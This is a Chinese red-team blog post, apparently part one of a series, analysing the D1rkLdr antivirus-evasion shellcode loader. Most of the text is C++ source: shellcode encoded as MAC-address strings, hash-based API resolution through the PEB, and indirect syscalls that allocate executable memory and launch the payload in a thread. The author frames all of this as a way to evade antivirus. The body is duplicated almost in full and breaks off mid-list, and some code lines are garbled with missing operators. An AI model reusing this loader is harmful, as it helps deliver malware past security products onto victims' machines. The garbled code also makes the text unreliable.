本是青灯不归客,却因浊酒恋红尘
上章简单讲了手写加载器,那么本章,聊聊公开的那些自动化生成的免杀规避加载器,解读一下主体代码运用的技术,以及免杀效果,由于以下的代码项目较多,于是仅挑选有代表性的项目进行分析解读:
先说第一个
项目地址:https://github.com/TheD1rkMtr/D1rkLdr
简介:
Shellcode Loader with Indirect Dynamic syscall Implementation , shellcode in MAC format, API resolving from PEB, Syscall calll and syscall instruction address resolving at run time
使用C++编写的loader部分,使用bin2mac.py脚本将shellcode文件转换为Mac地址,GetHash.py用于获取Windows底层函数的散列,用于规避杀毒:
![红队免杀系列之自动化Loader解读(一) 红队免杀系列之自动化Loader解读(一)]()
主体代码部分
int main(int argc, char** argv) {
const char* MAC[] =
{
"FC-48-83-E4-F0-E8",
"C0-00-00-00-41-51",
"41-50-52-51-56-48",
"31-D2-65-48-8B-52",
"60-48-8B-52-18-48",
"8B-52-20-48-8B-72",
"50-48-0F-B7-4A-4A",
"4D-31-C9-48-31-C0"
...
};
PVOID BaseAddress = NULL;
SIZE_T dwSize = 0x2000;
LPVOID addr = NULL;
BYTE high = NULL;
BYTE low = NULL;
WORD syscallNum = NULL;
INT_PTR syscallAddr = NULL;
int rowLen = sizeof(MAC) / sizeof(MAC[0]);
PCSTR Terminator = NULL;
NTSTATUS STATUS;
HMODULE mod = getModule(4097367); // Hash of ntdll.dll
//python GetHash.py ZwAllocateVirtualMemory
addr = getAPIAddr(mod, 18887768681269); // Hash of ZwAllocateVirtualMemory
syscallNum = Unh00ksyscallNum(addr);
syscallAddr = Unh00ksyscallInstr(addr);
GetSyscall(syscallNum);
GetSyscallAddr(syscallAddr);
NTSTATUS status1 = sysZwAllocateVirtualMemory(NtCurrentProcess(), &BaseAddress, 0, &dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!NT_SUCCESS(status1)) {
return 1;
}
printf("[+] sysZwAllocateVirtualMemory executed !!n");
DWORD_PTR ptr = (DWORD_PTR)BaseAddress;
for (int i = 0; i < rowLen; i++) {
STATUS = RtlEthernetStringToAddressA((PCSTR)MAC[i], &Terminator, (DL_EUI48*)ptr);
if (!NT_SUCCESS(STATUS)) {
return FALSE;
}
ptr += 6;
}
HANDLE hThread;
DWORD OldProtect = 0;
addr = getAPIAddr(mod, 6180333595348);
syscallNum = Unh00ksyscallNum(addr);
syscallAddr = Unh00ksyscallInstr(addr);
GetSyscall(syscallNum);
GetSyscallAddr(syscallAddr);
NTSTATUS NtProtectStatus1 = sysNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, (PSIZE_T)&dwSize, PAGE_EXECUTE_READ, &OldProtect);
if (!NT_SUCCESS(NtProtectStatus1)) {
return 2;
}
printf("[+] sysNtProtectVirtualMemory executed !!n");
HANDLE hHostThread = INVALID_HANDLE_VALUE;
//python GetHash.py NtCreateThreadEx
addr = getAPIAddr(mod, 8454456120); // Hash of NtCreateThreadEx
syscallNum = Unh00ksyscallNum(addr);
syscallAddr = Unh00ksyscallInstr(addr);
GetSyscall(syscallNum);
GetSyscallAddr(syscallAddr);
NTSTATUS NtCreateThreadstatus = sysNtCreateThreadEx(&hHostThread, 0x1FFFFF, NULL, NtCurrentProcess(), (LPTHREAD_START_ROUTINE)BaseAddress, NULL, FALSE, NULL, NULL, NULL, NULL);
if (!NT_SUCCESS(NtCreateThreadstatus)) {
printf("[!] Failed in sysNtCreateThreadEx (%u)n", GetLastError());
return 3;
}
printf("[+] sysNtCreateThreadEx executed !!n");
LARGE_INTEGER Timeout;
Timeout.QuadPart = -10000000;
//python GetHash.py NtWaitForSingleObject
addr = getAPIAddr(mod, 2060238558140); // Hash of NtWaitForSingleObject
syscallNum = Unh00ksyscallNum(addr);
syscallAddr = Unh00ksyscallInstr(addr);
GetSyscall(syscallNum);
GetSyscallAddr(syscallAddr);
NTSTATUS NTWFSOstatus = sysNtWaitForSingleObject(hHostThread, FALSE, &Timeout);
if (!NT_SUCCESS(NTWFSOstatus)) {
printf("[!] Failed in sysNtWaitForSingleObject (%u)n", GetLastError());
return 4;
}
printf("[+] sysNtWaitForSingleObject executed !!n");
printf("[+] Finished !!!n");
return 0;
}
可以看到本质是将shellcode转换为形如IP中的MAC地址的形式,以绕过对shellcode字符串的查杀,并使用syscall直接系统调用绕过动态查杀,同时在调用ntdll.dll时,通过计算Hash散列的方式,调用 ZwAllocateVirtualMemory 等地产系统函数,规避杀毒软件对于底层函数的监控。
getAPIAddr函数
通过获取散列hash来获取函数名
DWORD calcHash(char* data) {
DWORD hash = 0x99;
for (int i = 0; i < strlen(data); i++) {
hash += data[i] + (hash << 1);
}
return hash;
}
static DWORD calcHashModule(LDR_MODULE* mdll) {
char name[64];
size_t i = 0;
while (mdll->dllname.Buffer[i] && i < sizeof(name) - 1) {
name[i] = (char)mdll->dllname.Buffer[i];
i++;
}
name[i] = 0;
return calcHash((char*)CharLowerA(name));
}
static HMODULE getModule(DWORD myHash) {
HMODULE module;
INT_PTR peb = __readgsqword(0x60);
auto ldr = 0x18;
auto flink = 0x10;
auto Mldr = *(INT_PTR*)(peb + ldr);
auto M1flink = *(INT_PTR*)(Mldr + flink);
auto Mdl = (LDR_MODULE*)M1flink;
do {
Mdl = (LDR_MODULE*)Mdl->e[0].Flink;
if (Mdl->base != NULL) {
if (calcHashModule(Mdl) == myHash) {
break;
}
}
} while (M1flink != (INT_PTR)Mdl);
module = (HMODULE)Mdl->base;
return module;
}
static LPVOID getAPIAddr(HMODULE module, DWORD myHash) {
PIMAGE_DOS_HEADER DOSheader = (PIMAGE_DOS_HEADER)module;
PIMAGE_NT_HEADERS NTheader = (PIMAGE_NT_HEADERS)((LPBYTE)module + DOSheader->e_lfanew);
PIMAGE_EXPORT_DIRECTORY EXdir = (PIMAGE_EXPORT_DIRECTORY)(
(LPBYTE)module + NTheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PDWORD fAddr = (PDWORD)((LPBYTE)module + EXdir->AddressOfFunctions);
PDWORD fNames = (PDWORD)((LPBYTE)module + EXdir->AddressOfNames);
PWORD fOrdinals = (PWORD)((LPBYTE)module + EXdir->AddressOfNameOrdinals);
for (DWORD i = 0; i < EXdir->AddressOfFunctions; i++) {
LPSTR pFuncName = (LPSTR)((LPBYTE)module + fNames[i]);
if (calcHash(pFuncName) == myHash) {
return (LPVOID)((LPBYTE)module + fAddr[fOrdinals[i]]);
}
}
return NULL;
}
getAPIAddr函数是一个用于获取动态链接库(DLL)中导出函数地址的函数,根据提供的哈希值(myHash)查找匹配的函数。
以下是对该函数的解读:
-
getAPIAddr 函数的参数包括一个 HMODULE 类型的模块句柄 module,表示要查询的动态链接库,以及一个 DWORD 类型的哈希值 myHash,表示要查找的函数的哈希值。
-
首先,函数通过 module 获取到该模块的DOS头,这是Windows可执行文件的头部结构。
PIMAGE_DOS_HEADER DOSheader = (PIMAGE_DOS_HEADER)module;
-
接着,通过DOS头的e_lfanew字段,找到NT头,这是一个Windows可执行文件的标准头部。
PIMAGE_NT_HEADERS NTheader = (PIMAGE_NT_HEADERS)((LPBYTE)module + DOSheader->e_lfanew);
-
从NT头中,获取导出表目录(Export Directory)的地址。
PIMAGE_EXPORT_DIRECTORY EXdir = (PIMAGE_EXPORT_DIRECTORY)(
(LPBYTE)module + NTheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
导出表目录包含了有关模块中导出函数的信息,如函数名称、函数地址等。
-
获取函数地址表、函数名称表和函数序号表的地址。这些表中包含了导出函数的相关信息。
PDWORD fAddr = (PDWORD)((LPBYTE)module + EXdir->AddressOfFunctions);
PDWORD fNames = (PDWORD)((LPBYTE)module + EXdir->AddressOfNames);
PWORD fOrdinals = (PWORD)((LPBYTE)module + EXdir->AddressOfNameOrdinals);
-
接下来,使用一个循环遍历导出函数的名称表,以查找匹配 myHash 的函数。
for (DWORD i = 0; i < EXdir->AddressOfFunctions; i++) {
LPSTR pFuncName = (LPSTR)((LPBYTE)module + fNames[i]);
if (calcHash(pFuncName) == myHash) {
return (LPVOID)((LPBYTE)module + fAddr[fOrdinals[i]]);
}
}
在循环中,首先获取导出函数的名称,并将其传递给 calcHash 函数来计算其哈希值。如果哈希值与 myHash 匹配,则返回该函数的地址。否则,继续遍历直到找到匹配的函数或遍历完所有导出函数。
-
如果循环结束后仍然没有找到匹配的函数,则函数返回 NULL 表示未找到匹配的函数。
这个函数的主要目的是根据函数名称的哈希值来查找并返回相应函数的地址。通常,这种方法用于在运行时动态获取导出函数的地址,以便执行该函数,特别是在恶意软件或反汇编等上下文中可能会用到这种技巧。
实际引用了
ZwAllocateVirtualMemory
NtCreateThreadEx
NtWaitForSingleObject
这几个底层函数,通过CFF对编译后的EXE进行分析:
发现导入表并没有这三个引用的函数,证明是隐藏成功的。
Unh00ksyscallNum函数
关于系统调用的部分
WORD Unh00ksyscallNum(LPVOID addr) {
WORD syscall = NULL;
if (*((PBYTE)addr) == 0x4c
*((PBYTE)addr + 1) == 0x8b
*((PBYTE)addr + 2) == 0xd1
*((PBYTE)addr + 3) == 0xb8
*((PBYTE)addr + 6) == 0x00
*((PBYTE)addr + 7) == 0x00) {
BYTE high = *((PBYTE)addr + 5);
BYTE low = *((PBYTE)addr + 4);
syscall = (high << 8) | low;
return syscall;
}
if (*((PBYTE)addr) == 0xe9 || *((PBYTE)addr + 3) == 0xe9 || *((PBYTE)addr + 8) == 0xe9 ||
+ 10) == 0xe9 || *((PBYTE)addr + 12) == 0xe9) {
for (WORD idx = 1; idx <= 500; idx++) {
if (*((PBYTE)addr + idx * DOWN) == 0x4c
*((PBYTE)addr + 1 + idx * DOWN) == 0x8b
*((PBYTE)addr + 2 + idx * DOWN) == 0xd1
*((PBYTE)addr + 3 + idx * DOWN) == 0xb8
*((PBYTE)addr + 6 + idx * DOWN) == 0x00
*((PBYTE)addr + 7 + idx * DOWN) == 0x00) {
BYTE high = *((PBYTE)addr + 5 + idx * DOWN);
BYTE low = *((PBYTE)addr + 4 + idx * DOWN);
syscall = (high << 8) | low - idx;
return syscall;
}
if (*((PBYTE)addr + idx * UP) == 0x4c
*((PBYTE)addr + 1 + idx * UP) == 0x8b
*((PBYTE)addr + 2 + idx * UP) == 0xd1
*((PBYTE)addr + 3 + idx * UP) == 0xb8
*((PBYTE)addr + 6 + idx * UP) == 0x00
*((PBYTE)addr + 7 + idx * UP) == 0x00) {
BYTE high = *((PBYTE)addr + 5 + idx * UP);
BYTE low = *((PBYTE)addr + 4 + idx * UP);
syscall = (high << 8) | low + idx;
return syscall;
}
}
}
}
Unh00ksyscallNum函数用于查找系统调用号
系统调用号是用于与操作系统内核通信的一种机制,每个系统调用都有一个唯一的号码,它告诉内核执行哪个特定的操作。
以下是对该函数的解读:
-
函数接受一个 LPVOID 类型的参数 addr,它表示一个内存地址,通常是一段二进制代码的起始地址。
-
首先,函数检查位于 addr 地址处的内存是否匹配特定的模式。这个模式是根据 x64 Windows 系统上的系统调用指令的编码约定而制定的。
-
*((PBYTE)addr) == 0x4c 检查第一个字节是否是 0x4c。
-
*((PBYTE)addr + 1) == 0x8b 检查第二个字节是否是 0x8b。
-
*((PBYTE)addr + 2) == 0xd1 检查第三个字节是否是 0xd1。
-
*((PBYTE)addr + 3) == 0xb8 检查第四个字节是否是 0xb8。
-
*((PBYTE)addr + 6) == 0x00 检查第七个字节是否是 0x00。
-
*((PBYTE)addr + 7) == 0x00 检查第八个字节是否是 0x00。
-
如果以上的检查条件都满足,表示函数在这个地址处找到了系统调用指令的模式。然后,它从内存中提取出两个字节,这两个字节构成了系统调用号。高字节在低地址处,低字节在高地址处,因此需要进行位移和按位或操作,将它们合并成一个 WORD 类型的系统调用号,并将其返回。
-
如果第一种模式的检查条件不满足,函数进入第二种模式的检查。它检查是否有 0xe9 指令的跳转语句。如果找到跳转语句,它会在一定的范围内搜索第一种模式的系统调用指令,以寻找系统调用号。
-
第二种模式中,函数从当前地址向前或向后搜索,直到找到匹配的系统调用指令模式。在找到匹配的模式后,它会计算系统调用号,考虑到跳转指令的偏移,然后将其返回。
总的来说,这个函数用于解析在给定内存地址 addr 处的系统调用号。它首先尝试匹配一种特定的模式,如果找到,直接提取系统调用号。如果未找到,则搜索跳转指令,再次尝试匹配模式,并计算出系统调用号。这种函数通常用于逆向工程或恶意软件分析中,以确定恶意代码中的系统调用。
Unh00ksyscallInstr函数
INT_PTR Unh00ksyscallInstr(LPVOID addr) {
WORD syscall = NULL;
if (*((PBYTE)addr) == 0x4c
&& *((PBYTE)addr + 1) == 0x8b
&& *((PBYTE)addr + 2) == 0xd1
&& *((PBYTE)addr + 3) == 0xb8
&& *((PBYTE)addr + 6) == 0x00
&& *((PBYTE)addr + 7) == 0x00) {
return (INT_PTR)addr + 0x12; // syscall
}
if (*((PBYTE)addr) == 0xe9 || *((PBYTE)addr + 3) == 0xe9 || *((PBYTE)addr + 8) == 0xe9 ||
*((PBYTE)addr + 10) == 0xe9 || *((PBYTE)addr + 12) == 0xe9) {
for (WORD idx = 1; idx <= 500; idx++) {
if (*((PBYTE)addr + idx * DOWN) == 0x4c
&& *((PBYTE)addr + 1 + idx * DOWN) == 0x8b
&& *((PBYTE)addr + 2 + idx * DOWN) == 0xd1
&& *((PBYTE)addr + 3 + idx * DOWN) == 0xb8
&& *((PBYTE)addr + 6 + idx * DOWN) == 0x00
&& *((PBYTE)addr + 7 + idx * DOWN) == 0x00) {
return (INT_PTR)addr + 0x12;
}
if (*((PBYTE)addr + idx * UP) == 0x4c
&& *((PBYTE)addr + 1 + idx * UP) == 0x8b
&& *((PBYTE)addr + 2 + idx * UP) == 0xd1
&& *((PBYTE)addr + 3 + idx * UP) == 0xb8
&& *((PBYTE)addr + 6 + idx * UP) == 0x00
&& *((PBYTE)addr + 7 + idx * UP) == 0x00) {
return (INT_PTR)addr + 0x12;
}
}
}
}
这段代码是用于解析一段二进制代码中的系统调用指令的地址的函数。根据代码的不同模式,它尝试找到系统调用指令,并返回指令地址的偏移量(作为 INT_PTR 类型)。
以下是对该函数的详细解读:
-
函数接受一个 LPVOID 类型的参数 addr,表示一段内存中的地址,通常是一段二进制代码的起始地址。
-
首先,函数检查位于 addr 地址处的内存是否匹配特定的模式。这个模式是根据 x64 Windows 系统上的系统调用指令的编码约定而制定的。
-
*((PBYTE)addr) == 0x4c 检查第一个字节是否是 0x4c。
-
*((PBYTE)addr + 1) == 0x8b 检查第二个字节是否是 0x8b。
-
*((PBYTE)addr + 2) == 0xd1 检查第三个字节是否是 0xd1。
-
*((PBYTE)addr + 3) == 0xb8 检查第四个字节是否是 0xb8。
-
*((PBYTE)addr + 6) == 0x00 检查第七个字节是否是 0x00。
-
*((PBYTE)addr + 7) == 0x00 检查第八个字节是否是 0x00。
-
如果以上的检查条件都满足,表示函数在这个地址处找到了系统调用指令的模式。然后,它返回该指令的地址偏移量,偏移量是相对于传入的 addr 地址的。
-
如果第一种模式的检查条件不满足,函数进入第二种模式的检查。它检查是否有 0xe9 指令的跳转语句。如果找到跳转语句,它会在一定的范围内搜索第一种模式的系统调用指令,以寻找系统调用指令,并返回指令地址的偏移量。
-
在第二种模式中,函数从当前地址向前或向后搜索,直到找到匹配的系统调用指令模式。在找到匹配的模式后,它返回该指令的地址偏移量,考虑到跳转指令的偏移量。
总的来说,这个函数用于解析一段内存中的二进制代码,以查找系统调用指令的地址,并返回该指令的地址偏移量。
使用C++编写的loader部分,使用bin2mac.py脚本将shellcode文件转换为Mac地址,GetHash.py用于获取Windows底层函数的散列,用于规避杀毒:
主体代码部分
int main(int argc, char** argv) {
const char* MAC[] =
{
"FC-48-83-E4-F0-E8",
"C0-00-00-00-41-51",
"41-50-52-51-56-48",
"31-D2-65-48-8B-52",
"60-48-8B-52-18-48",
"8B-52-20-48-8B-72",
"50-48-0F-B7-4A-4A",
"4D-31-C9-48-31-C0"
...
};
PVOID BaseAddress = NULL;
SIZE_T dwSize = 0x2000;
LPVOID addr = NULL;
BYTE high = NULL;
BYTE low = NULL;
WORD syscallNum = NULL;
INT_PTR syscallAddr = NULL;
int rowLen = sizeof(MAC) / sizeof(MAC[0]);
PCSTR Terminator = NULL;
NTSTATUS STATUS;
HMODULE mod = getModule(4097367); // Hash of ntdll.dll
//python GetHash.py ZwAllocateVirtualMemory
addr = getAPIAddr(mod, 18887768681269); // Hash of ZwAllocateVirtualMemory
syscallNum = Unh00ksyscallNum(addr);
syscallAddr = Unh00ksyscallInstr(addr);
GetSyscall(syscallNum);
GetSyscallAddr(syscallAddr);
NTSTATUS status1 = sysZwAllocateVirtualMemory(NtCurrentProcess(), &BaseAddress, 0, &dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!NT_SUCCESS(status1)) {
return 1;
}
printf("[+] sysZwAllocateVirtualMemory executed !!n");
DWORD_PTR ptr = (DWORD_PTR)BaseAddress;
for (int i = 0; i < rowLen; i++) {
STATUS = RtlEthernetStringToAddressA((PCSTR)MAC[i], &Terminator, (DL_EUI48*)ptr);
if (!NT_SUCCESS(STATUS)) {
return FALSE;
}
ptr += 6;
}
HANDLE hThread;
DWORD OldProtect = 0;
addr = getAPIAddr(mod, 6180333595348);
syscallNum = Unh00ksyscallNum(addr);
syscallAddr = Unh00ksyscallInstr(addr);
GetSyscall(syscallNum);
GetSyscallAddr(syscallAddr);
NTSTATUS NtProtectStatus1 = sysNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, (PSIZE_T)&dwSize, PAGE_EXECUTE_READ, &OldProtect);
if (!NT_SUCCESS(NtProtectStatus1)) {
return 2;
}
printf("[+] sysNtProtectVirtualMemory executed !!n");
HANDLE hHostThread = INVALID_HANDLE_VALUE;
//python GetHash.py NtCreateThreadEx
addr = getAPIAddr(mod, 8454456120); // Hash of NtCreateThreadEx
syscallNum = Unh00ksyscallNum(addr);
syscallAddr = Unh00ksyscallInstr(addr);
GetSyscall(syscallNum);
GetSyscallAddr(syscallAddr);
NTSTATUS NtCreateThreadstatus = sysNtCreateThreadEx(&hHostThread, 0x1FFFFF, NULL, NtCurrentProcess(), (LPTHREAD_START_ROUTINE)BaseAddress, NULL, FALSE, NULL, NULL, NULL, NULL);
if (!NT_SUCCESS(NtCreateThreadstatus)) {
printf("[!] Failed in sysNtCreateThreadEx (%u)n", GetLastError());
return 3;
}
printf("[+] sysNtCreateThreadEx executed !!n");
LARGE_INTEGER Timeout;
Timeout.QuadPart = -10000000;
//python GetHash.py NtWaitForSingleObject
addr = getAPIAddr(mod, 2060238558140); // Hash of NtWaitForSingleObject
syscallNum = Unh00ksyscallNum(addr);
syscallAddr = Unh00ksyscallInstr(addr);
GetSyscall(syscallNum);
GetSyscallAddr(syscallAddr);
NTSTATUS NTWFSOstatus = sysNtWaitForSingleObject(hHostThread, FALSE, &Timeout);
if (!NT_SUCCESS(NTWFSOstatus)) {
printf("[!] Failed in sysNtWaitForSingleObject (%u)n", GetLastError());
return 4;
}
printf("[+] sysNtWaitForSingleObject executed !!n");
printf("[+] Finished !!!n");
return 0;
}
可以看到本质是将shellcode转换为形如IP中的MAC地址的形式,以绕过对shellcode字符串的查杀,并使用syscall直接系统调用绕过动态查杀,同时在调用ntdll.dll时,通过计算Hash散列的方式,调用 ZwAllocateVirtualMemory 等地产系统函数,规避杀毒软件对于底层函数的监控。
getAPIAddr函数
通过获取散列hash来获取函数名
DWORD calcHash(char* data) {
DWORD hash = 0x99;
for (int i = 0; i < strlen(data); i++) {
hash += data[i] + (hash << 1);
}
return hash;
}
static DWORD calcHashModule(LDR_MODULE* mdll) {
char name[64];
size_t i = 0;
while (mdll->dllname.Buffer[i] && i < sizeof(name) - 1) {
name[i] = (char)mdll->dllname.Buffer[i];
i++;
}
name[i] = 0;
return calcHash((char*)CharLowerA(name));
}
static HMODULE getModule(DWORD myHash) {
HMODULE module;
INT_PTR peb = __readgsqword(0x60);
auto ldr = 0x18;
auto flink = 0x10;
auto Mldr = *(INT_PTR*)(peb + ldr);
auto M1flink = *(INT_PTR*)(Mldr + flink);
auto Mdl = (LDR_MODULE*)M1flink;
do {
Mdl = (LDR_MODULE*)Mdl->e[0].Flink;
if (Mdl->base != NULL) {
if (calcHashModule(Mdl) == myHash) {
break;
}
}
} while (M1flink != (INT_PTR)Mdl);
module = (HMODULE)Mdl->base;
return module;
}
static LPVOID getAPIAddr(HMODULE module, DWORD myHash) {
PIMAGE_DOS_HEADER DOSheader = (PIMAGE_DOS_HEADER)module;
PIMAGE_NT_HEADERS NTheader = (PIMAGE_NT_HEADERS)((LPBYTE)module + DOSheader->e_lfanew);
PIMAGE_EXPORT_DIRECTORY EXdir = (PIMAGE_EXPORT_DIRECTORY)(
(LPBYTE)module + NTheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PDWORD fAddr = (PDWORD)((LPBYTE)module + EXdir->AddressOfFunctions);
PDWORD fNames = (PDWORD)((LPBYTE)module + EXdir->AddressOfNames);
PWORD fOrdinals = (PWORD)((LPBYTE)module + EXdir->AddressOfNameOrdinals);
for (DWORD i = 0; i < EXdir->AddressOfFunctions; i++) {
LPSTR pFuncName = (LPSTR)((LPBYTE)module + fNames[i]);
if (calcHash(pFuncName) == myHash) {
return (LPVOID)((LPBYTE)module + fAddr[fOrdinals[i]]);
}
}
return NULL;
}
getAPIAddr函数是一个用于获取动态链接库(DLL)中导出函数地址的函数,根据提供的哈希值(myHash)查找匹配的函数。
以下是对该函数的解读:
-
getAPIAddr 函数的参数包括一个 HMODULE 类型的模块句柄 module,表示要查询的动态链接库,以及一个 DWORD 类型的哈希值 myHash,表示要查找的函数的哈希值。
-
首先,函数通过 module 获取到该模块的DOS头,这是Windows可执行文件的头部结构。
PIMAGE_DOS_HEADER DOSheader = (PIMAGE_DOS_HEADER)module;
-
接着,通过DOS头的e_lfanew字段,找到NT头,这是一个Windows可执行文件的标准头部。
PIMAGE_NT_HEADERS NTheader = (PIMAGE_NT_HEADERS)((LPBYTE)module + DOSheader->e_lfanew);
-
从NT头中,获取导出表目录(Export Directory)的地址。
PIMAGE_EXPORT_DIRECTORY EXdir = (PIMAGE_EXPORT_DIRECTORY)(
(LPBYTE)module + NTheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
导出表目录包含了有关模块中导出函数的信息,如函数名称、函数地址等。
-
获取函数地址表、函数名称表和函数序号表的地址。这些表中包含了导出函数的相关信息。
PDWORD fAddr = (PDWORD)((LPBYTE)module + EXdir->AddressOfFunctions);
PDWORD fNames = (PDWORD)((LPBYTE)module + EXdir->AddressOfNames);
PWORD fOrdinals = (PWORD)((LPBYTE)module + EXdir->AddressOfNameOrdinals);
-
接下来,使用一个循环遍历导出函数的名称表,以查找匹配 myHash 的函数。
for (DWORD i = 0; i < EXdir->AddressOfFunctions; i++) {
LPSTR pFuncName = (LPSTR)((LPBYTE)module + fNames[i]);
if (calcHash(pFuncName) == myHash) {
return (LPVOID)((LPBYTE)module + fAddr[fOrdinals[i]]);
}
}
在循环中,首先获取导出函数的名称,并将其传递给 calcHash 函数来计算其哈希值。如果哈希值与 myHash 匹配,则返回该函数的地址。否则,继续遍历直到找到匹配的函数或遍历完所有导出函数。
-
如果循环结束后仍然没有找到匹配的函数,则函数返回 NULL 表示未找到匹配的函数。
这个函数的主要目的是根据函数名称的哈希值来查找并返回相应函数的地址。通常,这种方法用于在运行时动态获取导出函数的地址,以便执行该函数,特别是在恶意软件或反汇编等上下文中可能会用到这种技巧。
实际引用了
ZwAllocateVirtualMemory
NtCreateThreadEx
NtWaitForSingleObject
这几个底层函数,通过CFF对编译后的EXE进行分析:
发现导入表并没有这三个引用的函数,证明是隐藏成功的。
Unh00ksyscallNum函数
关于系统调用的部分
WORD Unh00ksyscallNum(LPVOID addr) {
WORD syscall = NULL;
if (*((PBYTE)addr) == 0x4c
*((PBYTE)addr + 1) == 0x8b
*((PBYTE)addr + 2) == 0xd1
*((PBYTE)addr + 3) == 0xb8
*((PBYTE)addr + 6) == 0x00
*((PBYTE)addr + 7) == 0x00) {
BYTE high = *((PBYTE)addr + 5);
BYTE low = *((PBYTE)addr + 4);
syscall = (high << 8) | low;
return syscall;
}
if (*((PBYTE)addr) == 0xe9 || *((PBYTE)addr + 3) == 0xe9 || *((PBYTE)addr + 8) == 0xe9 ||
+ 10) == 0xe9 || *((PBYTE)addr + 12) == 0xe9) {
for (WORD idx = 1; idx <= 500; idx++) {
if (*((PBYTE)addr + idx * DOWN) == 0x4c
*((PBYTE)addr + 1 + idx * DOWN) == 0x8b
*((PBYTE)addr + 2 + idx * DOWN) == 0xd1
*((PBYTE)addr + 3 + idx * DOWN) == 0xb8
*((PBYTE)addr + 6 + idx * DOWN) == 0x00
*((PBYTE)addr + 7 + idx * DOWN) == 0x00) {
BYTE high = *((PBYTE)addr + 5 + idx * DOWN);
BYTE low = *((PBYTE)addr + 4 + idx * DOWN);
syscall = (high << 8) | low - idx;
return syscall;
}
if (*((PBYTE)addr + idx * UP) == 0x4c
*((PBYTE)addr + 1 + idx * UP) == 0x8b
*((PBYTE)addr + 2 + idx * UP) == 0xd1
*((PBYTE)addr + 3 + idx * UP) == 0xb8
*((PBYTE)addr + 6 + idx * UP) == 0x00
*((PBYTE)addr + 7 + idx * UP) == 0x00) {
BYTE high = *((PBYTE)addr + 5 + idx * UP);
BYTE low = *((PBYTE)addr + 4 + idx * UP);
syscall = (high << 8) | low + idx;
return syscall;
}
}
}
}
Unh00ksyscallNum函数用于查找系统调用号
系统调用号是用于与操作系统内核通信的一种机制,每个系统调用都有一个唯一的号码,它告诉内核执行哪个特定的操作。
以下是对该函数的解读:
-
函数接受一个 LPVOID 类型的参数 addr,它表示一个内存地址,通常是一段二进制代码的起始地址。
-
首先,函数检查位于 addr 地址处的内存是否匹配特定的模式。这个模式是根据 x64 Windows 系统上的系统调用指令的编码约定而制定的。
-
*((PBYTE)addr) == 0x4c 检查第一个字节是否是 0x4c。
-
*((PBYTE)addr + 1) == 0x8b 检查第二个字节是否是 0x8b。
-
*((PBYTE)addr + 2) == 0xd1 检查第三个字节是否是 0xd1。
-
*((PBYTE)addr + 3) == 0xb8 检查第四个字节是否是 0xb8。
-
*((PBYTE)addr + 6) == 0x00 检查第七个字节是否是 0x00。
-
*((PBYTE)addr + 7) == 0x00 检查第八个字节是否是 0x00。
-
如果以上的检查条件都满足,表示函数在这个地址处找到了系统调用指令的模式。然后,它从内存中提取出两个字节,这两个字节构成了系统调用号。高字节在低地址处,低字节在高地址处,因此需要进行位移和按位或操作,将它们合并成一个 WORD 类型的系统调用号,并将其返回。
-
如果第一种模式的检查条件不满足,函数进入第二种模式的检查。它检查是否有 0xe9 指令的跳转语句。如果找到跳转语句,它会在一定的范围内搜索第一种模式的系统调用指令,以寻找系统调用号。
-
第二种模式中,函数从当前地址向前或向后搜索,直到找到匹配的系统调用指令模式。在找到匹配的模式后,它会计算系统调用号,考虑到跳转指令的偏移,然后将其返回。
总的来说,这个函数用于解析在给定内存地址 addr 处的系统调用号。它首先尝试匹配一种特定的模式,如果找到,直接提取系统调用号。如果未找到,则搜索跳转指令,再次尝试匹配模式,并计算出系统调用号。这种函数通常用于逆向工程或恶意软件分析中,以确定恶意代码中的系统调用。
Unh00ksyscallInstr函数
INT_PTR Unh00ksyscallInstr(LPVOID addr) {
WORD syscall = NULL;
if (*((PBYTE)addr) == 0x4c
&& *((PBYTE)addr + 1) == 0x8b
&& *((PBYTE)addr + 2) == 0xd1
&& *((PBYTE)addr + 3) == 0xb8
&& *((PBYTE)addr + 6) == 0x00
&& *((PBYTE)addr + 7) == 0x00) {
return (INT_PTR)addr + 0x12; // syscall
}
if (*((PBYTE)addr) == 0xe9 || *((PBYTE)addr + 3) == 0xe9 || *((PBYTE)addr + 8) == 0xe9 ||
*((PBYTE)addr + 10) == 0xe9 || *((PBYTE)addr + 12) == 0xe9) {
for (WORD idx = 1; idx <= 500; idx++) {
if (*((PBYTE)addr + idx * DOWN) == 0x4c
&& *((PBYTE)addr + 1 + idx * DOWN) == 0x8b
&& *((PBYTE)addr + 2 + idx * DOWN) == 0xd1
&& *((PBYTE)addr + 3 + idx * DOWN) == 0xb8
&& *((PBYTE)addr + 6 + idx * DOWN) == 0x00
&& *((PBYTE)addr + 7 + idx * DOWN) == 0x00) {
return (INT_PTR)addr + 0x12;
}
if (*((PBYTE)addr + idx * UP) == 0x4c
&& *((PBYTE)addr + 1 + idx * UP) == 0x8b
&& *((PBYTE)addr + 2 + idx * UP) == 0xd1
&& *((PBYTE)addr + 3 + idx * UP) == 0xb8
&& *((PBYTE)addr + 6 + idx * UP) == 0x00
&& *((PBYTE)addr + 7 + idx * UP) == 0x00) {
return (INT_PTR)addr + 0x12;
}
}
}
}
这段代码是用于解析一段二进制代码中的系统调用指令的地址的函数。根据代码的不同模式,它尝试找到系统调用指令,并返回指令地址的偏移量(作为 INT_PTR 类型)。
以下是对该函数的详细解读:
-
函数接受一个 LPVOID 类型的参数 addr,表示一段内存中的地址,通常是一段二进制代码的起始地址。
-
首先,函数检查位于 addr 地址处的内存是否匹配特定的模式。这个模式是根据 x64 Windows 系统上的系统调用指令的编码约定而制定的。
-
*((PBYTE)addr) == 0x4c 检查第一个字节是否是 0x4c。
-
*((PBYTE)addr + 1) == 0x8b 检查第二个字节是否是 0x8b。
-
*((PBYTE)addr + 2) == 0xd1 检查第三个字节是否是 0xd1。
-
*((PBYTE)addr + 3) == 0xb8 检查第四个字节是否是 0xb8。
-
*((PBYTE)addr + 6) == 0x00 检查第七个字节是否是 0x00。
-
*((PBYTE)addr + 7) == 0x00 检查第八个字节是否是 0x00。
-
